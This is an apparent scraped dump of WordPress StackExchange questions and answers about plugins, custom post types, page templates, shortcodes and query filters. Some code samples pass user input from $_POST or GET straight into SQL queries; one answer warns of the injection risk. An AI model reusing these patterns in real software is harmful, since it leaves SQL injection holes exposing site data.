add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
/*function Result_Form()
{
include('new/result-form.php');
}*/
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
$wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
function display_shortcode() {
ob_start();
html_form_code();
result_display();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
?>
</code></pre>
| [
{
"answer_id": 255796,
"author": "woony",
"author_id": 17541,
"author_profile": "https://wordpress.stackexchange.com/users/17541",
"pm_score": 0,
"selected": false,
"text": "<p>Most likely you made a change to your theme and made an error. Which does not allow to parse the code correctly... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255767",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
] | I created this plugin and now I'm getting fatal error message. I'm very new to this. Please tell me where I'm wrong:
```
<?php
/*
Plugin Name: Xenon-Result
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic result display plugin.
Version: 1.0
Author: Himanshu Gupta
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks()
{
include('new/result-add-marks.php');
}
/*function Result_Form()
{
include('new/result-form.php');
}*/
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
$wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
function display_shortcode() {
ob_start();
html_form_code();
result_display();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
?>
``` | Sounds like a theme or a plugin is causing the problem. Try renaming the wp-content/plugins folder to quickly disable all plugins and then try logging in. Add the plugins back into the wp-content/plugins folder to find the culprit.
If you have access to the error log file (assuming the site is not that busy), then you might find the error message pointing to the 'bad' file (plugin or theme).
Try this tutorial on the 'white screen of death': <http://www.wpbeginner.com/wp-tutorials/how-to-fix-the-wordpress-white-screen-of-death/> . (Good site for learning.) Their instructions include temporarily disabling plugins, and then trying a different theme (by renaming the theme you are using in wp-content/themes ). Usually the theme or plugin.
Good luck. |
255,771 | <p>I have problem with custom post type - permalink is doesn't show:</p>
<p><a href="https://i.stack.imgur.com/MfTql.png" rel="noreferrer"><img src="https://i.stack.imgur.com/MfTql.png" alt="enter image description here"></a></p>
<p>Post type is published, but I can't it show on website.
I tried change permalink structure to <code>?p=123</code>, but it still doesn't work. I tried change 'rewrite' attribute in code to false, but no difference.</p>
<p><strong>Some ideas where can be problem?</strong></p>
<p>Here is my code for custom post types:</p>
<pre><code>$args_team = array(
'labels' => sk_post_type_labels( __('Tým', 'sk'), __('Tým', 'sk') ),
'public' => true,
'has_archive' => true,
'exclude_from_search' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 10,
'rewrite' => array( 'slug' => 'team' ),
'supports' => array('title','editor','thumbnail','page-attributes')
);
</code></pre>
<p>Thanks for any ideas.</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255771",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/59666/"
] | I have problem with custom post type - permalink is doesn't show:
[](https://i.stack.imgur.com/MfTql.png)
Post type is published, but I can't it show on website.
I tried change permalink structure to `?p=123`, but it still doesn't work. I tried change 'rewrite' attribute in code to false, but no difference.
**Some ideas where can be problem?**
Here is my code for custom post types:
```
$args_team = array(
'labels' => sk_post_type_labels( __('Tým', 'sk'), __('Tým', 'sk') ),
'public' => true,
'has_archive' => true,
'exclude_from_search' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => 10,
'rewrite' => array( 'slug' => 'team' ),
'supports' => array('title','editor','thumbnail','page-attributes')
);
```
Thanks for any ideas. | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,775 | <p>I have finally managed to get my plugin working. However, upon submission the whole page reloads along with my output above the form. How can I avoid my page to completely reload and not to display the form once it is submitted?</p>
<pre><code><?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks() //function to add marks addition form in admin view
{
include('new/result-add-marks.php');
}
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
if(isset($_POST['submit']))
{
result_display();
}
function display_shortcode() {
ob_start();
result_display();
html_form_code();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
</code></pre>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255775",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112658/"
] | I have finally managed to get my plugin working. However, upon submission the whole page reloads along with my output above the form. How can I avoid my page to completely reload and not to display the form once it is submitted?
```
<?php
function installer(){
include('installer.php');
}
register_activation_hook( __file__, 'installer' ); //executes installer php when installing plugin to create new database
add_action('admin_menu','result_menu'); //wordpress admin menu creation
function result_menu()
{
add_menu_page('Result','Result','administrator','xenon-result');
add_submenu_page( 'xenon-result', 'Manage Marks', ' Manage Marks', 'administrator', 'Manage-Xenon-Marks', 'Xenon_Marks' );
}
function Xenon_Marks() //function to add marks addition form in admin view
{
include('new/result-add-marks.php');
}
function html_form_code()
{
echo '<form action="" method="post">';
echo '<fieldset>';
echo '<legend>Student Information</legend>';
echo 'Roll Number: <input type="number" min="170001" max="171000" name="rollNumber"><br>';
echo '<input type="submit">';
echo '<input type ="reset">';
echo '</form>';
}
function result_display(){
global $wpdb;
$student_id = $_POST['rollNumber'];
$query = "SELECT * FROM `wp_xenonresult` WHERE `student_id` = $student_id";
$result = $wpdb->get_row($query);
echo $result->student_name;
}
if(isset($_POST['submit']))
{
result_display();
}
function display_shortcode() {
ob_start();
result_display();
html_form_code();
return ob_get_clean();
}
add_shortcode( 'xenon_result_display', 'display_shortcode' );
// Enable shortcodes in text widgets
add_filter('widget_text','do_shortcode');
``` | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,777 | <p>I have a WordPress website, I submitted it to Google Webmaster and after submitting the sitemap, it's giving me error "URL blocked by robots.txt".</p>
<p>Please help, what should I do?</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255777",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112920/"
] | I have a WordPress website, I submitted it to Google Webmaster and after submitting the sitemap, it's giving me error "URL blocked by robots.txt".
Please help, what should I do? | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,782 | <p>I create some dynamic pages in Wordpress through PHP. Lots of them.</p>
<p>Those are not visible in Wordpress backend, as all the data is taken from different database. Each of them use signle PHP template, but have unique URL. Its working just fine.</p>
<p>I have also created taxonomy tags in Wordpress.</p>
<p>How to tell Wordpress that each of those dynamic pages with unique URLs should use specified tags?</p>
<p>Example:
I have pets. Dogs and cats, each of them have their names.</p>
<p>I have tags in Wordpress:
john, dog, joe, cat</p>
<p>I have page in Wordpress:
mydomain.com/pets/</p>
<p>And I have dynamic pages created in PHP from external DB (as dynamic categories, not visible in Wordpress backend):
mydomain.com/pets/cats/
mydomain.com/pets/dogs/</p>
<p>And dynamic subpages with names of pets created in PHP from external DB (also not in backend):
mydomain.com/pets/cats/joe/
mydomain.com/pets/dogs/john/</p>
<p>How to tell Wordpress that page:
mydomain.com/pets/cats/joe/ should be related to tags 'joe' and 'cat'
and page:
mydomain.com/pets/dogs/john/ should be related to tags 'john' and 'dog'</p>
<p>So if someone uses tag:
mydomain.com/tag/john/
it will show him corresponding dog page........</p>
<p>Is it possible? I have plenty of names and a lot of pets ;)</p>
<p>edit: updated title</p>
<p>/orsz</p>
| [
{
"answer_id": 255795,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing <em>exclude from search</em> and set your permalinks to <strong>Post name</strong>.</p>\n\n... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255782",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112926/"
] | I create some dynamic pages in Wordpress through PHP. Lots of them.
Those are not visible in Wordpress backend, as all the data is taken from different database. Each of them use signle PHP template, but have unique URL. Its working just fine.
I have also created taxonomy tags in Wordpress.
How to tell Wordpress that each of those dynamic pages with unique URLs should use specified tags?
Example:
I have pets. Dogs and cats, each of them have their names.
I have tags in Wordpress:
john, dog, joe, cat
I have page in Wordpress:
mydomain.com/pets/
And I have dynamic pages created in PHP from external DB (as dynamic categories, not visible in Wordpress backend):
mydomain.com/pets/cats/
mydomain.com/pets/dogs/
And dynamic subpages with names of pets created in PHP from external DB (also not in backend):
mydomain.com/pets/cats/joe/
mydomain.com/pets/dogs/john/
How to tell Wordpress that page:
mydomain.com/pets/cats/joe/ should be related to tags 'joe' and 'cat'
and page:
mydomain.com/pets/dogs/john/ should be related to tags 'john' and 'dog'
So if someone uses tag:
mydomain.com/tag/john/
it will show him corresponding dog page........
Is it possible? I have plenty of names and a lot of pets ;)
edit: updated title
/orsz | I set the following to true to display the permalinks in the admin section.
```
'publicly_queryable' => true,
``` |
255,804 | <p>I want to add page templates to a theme directly from the plugin. The idea is that the template would show up in the dropdown under Page Attributes, and all the code would need to be in the plugin.</p>
<p>Any tips on how to achieve that ?</p>
| [
{
"answer_id": 255809,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": -1,
"selected": false,
"text": "<pre><code><?php load_template( $_template_file, $require_once ) ?>\n</code></pre>\n\n<p>That is from th... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255804",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112935/"
] | I want to add page templates to a theme directly from the plugin. The idea is that the template would show up in the dropdown under Page Attributes, and all the code would need to be in the plugin.
Any tips on how to achieve that ? | You can use the [`theme_page_templates`](https://developer.wordpress.org/reference/hooks/theme_page_templates/) filter to add templates to the dropdown list of page templates like this:
```
function wpse255804_add_page_template ($templates) {
$templates['my-custom-template.php'] = 'My Template';
return $templates;
}
add_filter ('theme_page_templates', 'wpse255804_add_page_template');
```
Now WP will be searching for `my-custom-template.php` in the theme directory, so you will have to redirect that to your plugin directory by using the [`page_template`](https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template) filter like this:
```
function wpse255804_redirect_page_template ($template) {
if ('my-custom-template.php' == basename ($template))
$template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';
return $template;
}
add_filter ('page_template', 'wpse255804_redirect_page_template');
```
Read more about this here: [Add custom template page programmatically](https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically) |
255,813 | <p>Google Search Console detects Category Pagination data up Duplicate Meta Description. Duplicate meta descriptions data is the category description that I have provided, which shows up in every pages.</p>
<p>The error is of Duplicate meta descriptions under HTML Improvements.</p>
<p>The better way I can explain this problem is by sharing the blog links directly. The problem is with the following page -</p>
<p><a href="https://technosamigos.com/category/android/root/page/6/" rel="nofollow noreferrer">https://technosamigos.com/category/android/root/page/6/</a>
<a href="https://technosamigos.com/category/android/root/page/7/" rel="nofollow noreferrer">https://technosamigos.com/category/android/root/page/7/</a></p>
<p>There are few more errors of same kind.</p>
<p>How can I resolve this issue?</p>
| [
{
"answer_id": 255809,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": -1,
"selected": false,
"text": "<pre><code><?php load_template( $_template_file, $require_once ) ?>\n</code></pre>\n\n<p>That is from th... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255813",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107637/"
] | Google Search Console detects Category Pagination data up Duplicate Meta Description. Duplicate meta descriptions data is the category description that I have provided, which shows up in every pages.
The error is of Duplicate meta descriptions under HTML Improvements.
The better way I can explain this problem is by sharing the blog links directly. The problem is with the following page -
<https://technosamigos.com/category/android/root/page/6/>
<https://technosamigos.com/category/android/root/page/7/>
There are few more errors of same kind.
How can I resolve this issue? | You can use the [`theme_page_templates`](https://developer.wordpress.org/reference/hooks/theme_page_templates/) filter to add templates to the dropdown list of page templates like this:
```
function wpse255804_add_page_template ($templates) {
$templates['my-custom-template.php'] = 'My Template';
return $templates;
}
add_filter ('theme_page_templates', 'wpse255804_add_page_template');
```
Now WP will be searching for `my-custom-template.php` in the theme directory, so you will have to redirect that to your plugin directory by using the [`page_template`](https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template) filter like this:
```
function wpse255804_redirect_page_template ($template) {
if ('my-custom-template.php' == basename ($template))
$template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';
return $template;
}
add_filter ('page_template', 'wpse255804_redirect_page_template');
```
Read more about this here: [Add custom template page programmatically](https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically) |
255,850 | <p>I want to make all new commenters have a new account without them having to go through any registration process. That way if they use the same details again it will be stored as another comment they made.</p>
<p>I do not want to require them to "register" but instead register them automatically when they put their info into the comment form.</p>
<p>I'm using the default wordpress comment system without any plugins.</p>
<p>How can I make it so users are registered automatically when putting info into comment form to make a comment?</p>
| [
{
"answer_id": 255854,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>To achieve this, create a new page template and use this code in that file. Then, use your submit form to r... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255850",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112958/"
] | I want to make all new commenters have a new account without them having to go through any registration process. That way if they use the same details again it will be stored as another comment they made.
I do not want to require them to "register" but instead register them automatically when they put their info into the comment form.
I'm using the default wordpress comment system without any plugins.
How can I make it so users are registered automatically when putting info into comment form to make a comment? | To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.
```
$user_login = $_POST['user_login'];
$user_email = $_POST['user_email'];
$errors = register_new_user($user_login, $user_email);
if ( !is_wp_error($errors) ) {
$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
wp_safe_redirect( $redirect_to );
exit();
}
```
Note that `user_login` and `user_email` are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address. |
255,880 | <p>I need to initialize some variables in various templates (index, single, page) such as banner image of that page. But then use that value in the 'get_header()' template. A good example of this is the og_image that's usually in the header.php set of meta tags inside the head of the HTML. This image is the visual moniker for any given template page. So the best place to get this info is in the context of the main loop of that template. However the og_image tag itself is not inside that template (such as single.php) but inside the header.php. </p>
<p>Setting a variable to "global" inside single.php doesn't help because these are not just straight includes as in regular Php. They are somehow more wordpress specific. </p>
<p>The other option could be to do some black magic inside functions.php, but for something this straightforward, I would prefer not to overdo some function. Is there an easier way or best practice to share variables' values across headed and footer and sidebar? </p>
| [
{
"answer_id": 255854,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>To achieve this, create a new page template and use this code in that file. Then, use your submit form to r... | 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255880",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16142/"
] | I need to initialize some variables in various templates (index, single, page) such as banner image of that page. But then use that value in the 'get\_header()' template. A good example of this is the og\_image that's usually in the header.php set of meta tags inside the head of the HTML. This image is the visual moniker for any given template page. So the best place to get this info is in the context of the main loop of that template. However the og\_image tag itself is not inside that template (such as single.php) but inside the header.php.
Setting a variable to "global" inside single.php doesn't help because these are not just straight includes as in regular Php. They are somehow more wordpress specific.
The other option could be to do some black magic inside functions.php, but for something this straightforward, I would prefer not to overdo some function. Is there an easier way or best practice to share variables' values across headed and footer and sidebar? | To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.
```
$user_login = $_POST['user_login'];
$user_email = $_POST['user_email'];
$errors = register_new_user($user_login, $user_email);
if ( !is_wp_error($errors) ) {
$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
wp_safe_redirect( $redirect_to );
exit();
}
```
Note that `user_login` and `user_email` are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address. |
255,897 | <p>Following <a href="http://biostall.com/performing-a-radial-search-with-wp_query-in-wordpress/" rel="nofollow noreferrer">this tutorial</a>, I want to search for posts within the radius where the <code>post_type=profile</code></p>
<pre><code>add_filter('posts_where', 'location_posts_where', 10);
$query = new WP_Query( array( 'post_type' => 'profile' ) );
remove_filter('posts_where', 'location_posts_where', 10);
function location_posts_where( $where )
{
global $wpdb;
$latitude = filter_input( INPUT_GET, "latitude", FILTER_SANITIZE_STRING );
$longitude = filter_input( INPUT_GET, "longitude", FILTER_SANITIZE_STRING );
// Specify the co-ordinates that will form
// the centre of our search
//$latitude = '-27.922459';
//$longitude = '153.334793';
$radius = '125'; // (in miles)
if (is_search() && get_search_query())
// Append our radius calculation to the WHERE
$where .= " AND $wpdb->posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(" . $latitude . ") )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(" . $longitude . ") )
+ sin( radians(" . $latitude . ") )
* sin( radians( lat ) ) ) ) <= " . $radius . ")";
// Return the updated WHERE part of the query
return $where;
}
</code></pre>
<p>But it displays no posts and when I debug, this is the SQL query it is actually running:</p>
<pre><code>SELECT wp_posts.ID FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND ((wp_posts.post_status = 'publish')) AND wp_posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(-27.922459) )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(153.334793) )
+ sin( radians(-27.922459) )
* sin( radians( lat ) ) ) ) <= 125) ORDER BY wp_posts.post_date DESC LIMIT 0, 5
</code></pre>
<p>This line is the problem: <code>AND wp_posts.post_type = 'post'</code> Why isn't the WP_Query argument working to pass <code>post_type = profile</code>? Or am I doing something wrong?</p>
| [
{
"answer_id": 255919,
"author": "Brian Fegter",
"author_id": 4793,
"author_profile": "https://wordpress.stackexchange.com/users/4793",
"pm_score": 1,
"selected": false,
"text": "<p>You are removing the filter too early. Remove it after you have completed your loop and everything should ... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255897",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/447/"
] | Following [this tutorial](http://biostall.com/performing-a-radial-search-with-wp_query-in-wordpress/), I want to search for posts within the radius where the `post_type=profile`
```
add_filter('posts_where', 'location_posts_where', 10);
$query = new WP_Query( array( 'post_type' => 'profile' ) );
remove_filter('posts_where', 'location_posts_where', 10);
function location_posts_where( $where )
{
global $wpdb;
$latitude = filter_input( INPUT_GET, "latitude", FILTER_SANITIZE_STRING );
$longitude = filter_input( INPUT_GET, "longitude", FILTER_SANITIZE_STRING );
// Specify the co-ordinates that will form
// the centre of our search
//$latitude = '-27.922459';
//$longitude = '153.334793';
$radius = '125'; // (in miles)
if (is_search() && get_search_query())
// Append our radius calculation to the WHERE
$where .= " AND $wpdb->posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(" . $latitude . ") )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(" . $longitude . ") )
+ sin( radians(" . $latitude . ") )
* sin( radians( lat ) ) ) ) <= " . $radius . ")";
// Return the updated WHERE part of the query
return $where;
}
```
But it displays no posts and when I debug, this is the SQL query it is actually running:
```
SELECT wp_posts.ID FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND ((wp_posts.post_status = 'publish')) AND wp_posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(-27.922459) )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(153.334793) )
+ sin( radians(-27.922459) )
* sin( radians( lat ) ) ) ) <= 125) ORDER BY wp_posts.post_date DESC LIMIT 0, 5
```
This line is the problem: `AND wp_posts.post_type = 'post'` Why isn't the WP\_Query argument working to pass `post_type = profile`? Or am I doing something wrong? | Remove this part from your `posts_where` filter:
```
if (is_search() && get_search_query())
```
Note that `is_search()` is a check on the main query.
If you want to target the main search query, there's the `posts_search` filter available.
**Important**: Watch out for possible SQL injections, as you are taking user input into the SQL query. I think the `FILTER_SANITIZE_STRING` filter is too weak here, as it allows e.g. parentheses, where it allows the user to modify the structure of the SQL query. Consider `$wpdb->prepare()` with `%f`or `%F` [type specifiers](http://php.net/manual/en/function.sprintf.php) for floating point numbers. |
255,900 | <p>i using this code:</p>
<pre><code><?php ob_start(); echo '<div class="judul"><h3 style="text-align: center;"><strong>Download <?php echo esc_html( $judul ); ?> Batch Kumpulan Subtitle Indonesia</strong></h3></div>';
echo '<p><div class="deps"><h4>';
echo "<strong>Episode $bepisode</strong></h4>";
echo '</div></p>';
echo '<div class="dfr">';
echo "<strong>$bkualitas</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas2</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink2</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas3</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo "&nbsp;&nbsp;&nbsp;&nbsp;<strong>$blink3</strong><br/><br/>";
echo '</div>'; $out = ob_get_clean(); ?>
</code></pre>
<p>then using this code in single.php :</p>
<pre><code><?php echo do_shortcode( '[restabs alignment="osc-tabs-center" responsive="false" tabcolor="#c1c1c1" tabheadcolor="#0a0a0a" seltabcolor="#8c8c8c" seltabheadcolor="#ffffff" tabhovercolor="#8c8c8c" responsive="true" icon="true" text="More"][restab title="Link Batch" active="active"]' . $out . '[/restab][/restabs]' );?>
</code></pre>
<p>why there is no meta value output?
<a href="https://i.stack.imgur.com/YvdSO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YvdSO.png" alt="the meta value doesn't show"></a></p>
<p>but without using ob_get_clean(); and shortcode, i can get output like this :
<a href="https://i.stack.imgur.com/n5TIJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/n5TIJ.png" alt="output"></a></p>
<p>does ob_get_clean(); clear all $value? or $value doesn't work with shortcode?</p>
| [
{
"answer_id": 255901,
"author": "Milo",
"author_id": 4771,
"author_profile": "https://wordpress.stackexchange.com/users/4771",
"pm_score": 1,
"selected": false,
"text": "<p>You don't see anything because you're assigning the content to <code>$out</code> but then you don't do anything wi... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255900",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112986/"
] | i using this code:
```
<?php ob_start(); echo '<div class="judul"><h3 style="text-align: center;"><strong>Download <?php echo esc_html( $judul ); ?> Batch Kumpulan Subtitle Indonesia</strong></h3></div>';
echo '<p><div class="deps"><h4>';
echo "<strong>Episode $bepisode</strong></h4>";
echo '</div></p>';
echo '<div class="dfr">';
echo "<strong>$bkualitas</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas2</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink2</strong><br/><br/>";
echo '</div>';
echo '<div class="dfr">';
echo "<strong>$bkualitas3</strong><br/>";
echo '</div>';
echo '<div class="dln">';
echo " <strong>$blink3</strong><br/><br/>";
echo '</div>'; $out = ob_get_clean(); ?>
```
then using this code in single.php :
```
<?php echo do_shortcode( '[restabs alignment="osc-tabs-center" responsive="false" tabcolor="#c1c1c1" tabheadcolor="#0a0a0a" seltabcolor="#8c8c8c" seltabheadcolor="#ffffff" tabhovercolor="#8c8c8c" responsive="true" icon="true" text="More"][restab title="Link Batch" active="active"]' . $out . '[/restab][/restabs]' );?>
```
why there is no meta value output?
[](https://i.stack.imgur.com/YvdSO.png)
but without using ob\_get\_clean(); and shortcode, i can get output like this :
[](https://i.stack.imgur.com/n5TIJ.png)
does ob\_get\_clean(); clear all $value? or $value doesn't work with shortcode? | You don't see anything because you're assigning the content to `$out` but then you don't do anything with that value. Shortcodes have to `return` their content or you won't see any output.
```
$out = ob_get_clean();
return $out;
```
or just
```
return ob_get_clean();
``` |
255,936 | <p>I'm trying to filter the contents of my page template dropdown in the admin area. Having done some Googling it seems that the hook I need to use is theme_page_templates ... but this just does not run for me. I have no idea why but the code is not called at all. This is the code I'm using, but nothing happens.</p>
<pre><code>function filter_template_dropdown( $page_templates ) {
die( var_dump( $page_templates ) );
// Removes item from template array.
unset( $page_templates['template-faq.php'] );
// Returns the updated array.
return $page_templates;
}
add_filter( 'theme_page_templates', 'filter_template_dropdown' );
</code></pre>
<p>I'm running the latest version of Wordpress (4.7.2) - any help would be much appreciated!</p>
| [
{
"answer_id": 255938,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 0,
"selected": false,
"text": "<p>You have a call to <code>die()</code> in your function, which terminates the execution of your function and out... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255936",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/62621/"
] | I'm trying to filter the contents of my page template dropdown in the admin area. Having done some Googling it seems that the hook I need to use is theme\_page\_templates ... but this just does not run for me. I have no idea why but the code is not called at all. This is the code I'm using, but nothing happens.
```
function filter_template_dropdown( $page_templates ) {
die( var_dump( $page_templates ) );
// Removes item from template array.
unset( $page_templates['template-faq.php'] );
// Returns the updated array.
return $page_templates;
}
add_filter( 'theme_page_templates', 'filter_template_dropdown' );
```
I'm running the latest version of Wordpress (4.7.2) - any help would be much appreciated! | The `theme_page_templates` filter is not available anymore, please use the `theme_templates` filter instead.
```php
add_filter( 'theme_templates', 'filter_template_dropdown' );
``` |
255,977 | <p>I have created a real estate theme, and for each property there is a property listing expiry date after which the property no longer shows on the site. Each property is a custom Properties post type. The code I use to only use live properties is;</p>
<pre><code>function live_properties_only( $query ) {
if ( ! is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'post_type' => 'properties',
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
</code></pre>
<p>This is in the functions.php file, the only problem is that is prevents regular blog posts from showing. How can I resolve this so blog posts show and only un-expired properties also show.</p>
| [
{
"answer_id": 255979,
"author": "mr__culpepper",
"author_id": 108606,
"author_profile": "https://wordpress.stackexchange.com/users/108606",
"pm_score": 0,
"selected": false,
"text": "<p>It seems you are only querying only for posts of the type 'properties.' I'm not 100% sure, but removi... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255977",
"https://wordpress.stackexchange.com",
